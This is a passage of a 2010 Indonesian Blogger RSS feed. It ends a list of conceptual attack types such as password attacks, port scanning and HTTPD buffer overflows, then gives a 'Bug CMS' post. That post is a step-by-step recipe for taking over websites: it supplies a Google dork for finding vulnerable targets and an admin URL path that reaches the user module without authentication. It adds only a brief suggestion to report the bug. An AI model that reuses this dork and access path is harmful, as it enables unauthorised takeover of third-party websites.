small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;8. Password Attacks&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;sesuatu yang dilindungi oleh password. Ketika seorang attacker berhasil mendapatkan password yang&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;hal ini dengan cara teknikal. Kebnayakan seranagn yang dilakukan terhadap password adalah menebak&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;(guessing), brute force, cracking dan sniffing.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="color: red; font-size: small;"&gt;&lt;b&gt;&lt;br /&gt;
9.Proxy Server Attacks&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
10. Remote Command Processing Attacks&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="color: red; font-size: small;"&gt;&lt;b&gt;11. Remote File System Attack&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Protocol-protokol untuk tranportasi data&amp;nbsp; adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="color: red; font-size: small;"&gt;&lt;b&gt;12. Selective Program Insertions&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ☺) pada&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;membuka backdoor.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
13. Port Scanning&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;14.TCP/IP Sequence Stealing, Passive Port Listening and Packet&lt;br /&gt;
Interception&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force,&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="color: red; font-size: small;"&gt;&lt;b&gt;15. HTTPD Attacks&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;bypasses, cross scripting, web code vulnerabilities, dan URL floods. HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker akses ke command prompt.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-954652174176012478?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/MYhJePnOvh4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/MYhJePnOvh4/cara-dan-jenis-hacker-menyerang-situs.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://2.bp.blogspot.com/_xxdfU1yNW68/TGArYpU1NDI/AAAAAAAAAYA/FlFOR7p1588/s72-c/hacked_logo.jpg" height="72" width="72" /><thr:total>6</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/cara-dan-jenis-hacker-menyerang-situs.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-4607269204793776878</guid><pubDate>Sat, 07 Aug 2010 16:16:00 +0000</pubDate><atom:updated>2010-08-07T21:02:44.805-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Bug CMS</title><description>Bug CMS&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TF2GJRma_hI/AAAAAAAAAXo/Oe6OSNfVX_A/s1600/bug.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TF2GJRma_hI/AAAAAAAAAXo/Oe6OSNfVX_A/s320/bug.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;apa itu CMS &lt;/span&gt;?&amp;nbsp;&lt;span class="Apple-style-span" style="color: #292929;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;CMS adalah Sebuah sistem yang memberikan kemudahan kepada para penggunanya dalam mengelola dan mengadakan perubahan isi sebuah website dinamis tanpa sebelumnya dibekali pengetahuan tentang hal-hal yang bersifat teknis. Dengan demikian, setiap orang, penulis maupun editor, setiap saat dapat menggunakannya secara leluasa untuk membuat, menghapus atau bahkan memperbaharui isi website tanpa campur tangan langsung dari pihak webmaster. dalam artikel kali ini, saya akan mencoba membahas bug cms, walau terbilang ini bug lama, namun tak ada salahnya untuk kembali sedikit bernostalgia.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #292929; font-family: Arial, Helvetica, sans-serif;"&gt;menurut saya pribadi&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;bug CMS adalah buh &amp;nbsp;yang sangat fatal.di cms terdapat suatu bug yg terletak pada script content.php&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 18px;"&gt;dan pada module usernya. oleh karena itu saya ingin membahasnya,&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 18px;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 18px;"&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;saatnya exploitasi,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;1. searching target dengan dork "allinurl:media.php?module="&lt;br /&gt;
2. tentukan target.jika sudah dapat lanjut ke berikutnya&lt;br /&gt;
3. tester pertam yaitu mengetahui page adminnya dengan menambakan dir admin di belakang target&lt;br /&gt;
misal :&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="http://target.com/admin" style="color: #555555; text-decoration: none;" target="_blank"&gt;http://target.com/admin&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TF2E6zjXe1I/AAAAAAAAAXY/uFO_7T7HYY8/s1600/login.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TF2E6zjXe1I/AAAAAAAAAXY/uFO_7T7HYY8/s320/login.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;4. setelah kebuka,lanjut keberikutnya yaitu dengan langsung menuju ke content module usernya.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;dengan menambahkan content.php?module=user&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;misal :&amp;nbsp;&lt;/span&gt;&lt;a href="http://target.com/admin/content.php?module=user" style="color: #555555; text-decoration: none;" target="_blank"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;http://target.com/admin/content.php?module=user&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TF2FTluxiXI/AAAAAAAAAXg/svMq-pouh2M/s1600/content.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TF2FTluxiXI/AAAAAAAAAXg/svMq-pouh2M/s320/content.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;5. sekarang, website tersebut sudah berada dalam genggaman anda, tapi ingat, jika anda menemukan error bug cms, segera laporkan pada admin website tersebut,,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-4607269204793776878?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/iFfuDdF9xkM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/iFfuDdF9xkM/bug-cms.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://3.bp.blogspot.com/_xxdfU1yNW68/TF2GJRma_hI/AAAAAAAAAXo/Oe6OSNfVX_A/s72-c/bug.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/bug-cms.html</feedburner:origLink></item><language>en-us</language><media:rating>nonadult</media:rating></channel></rss>

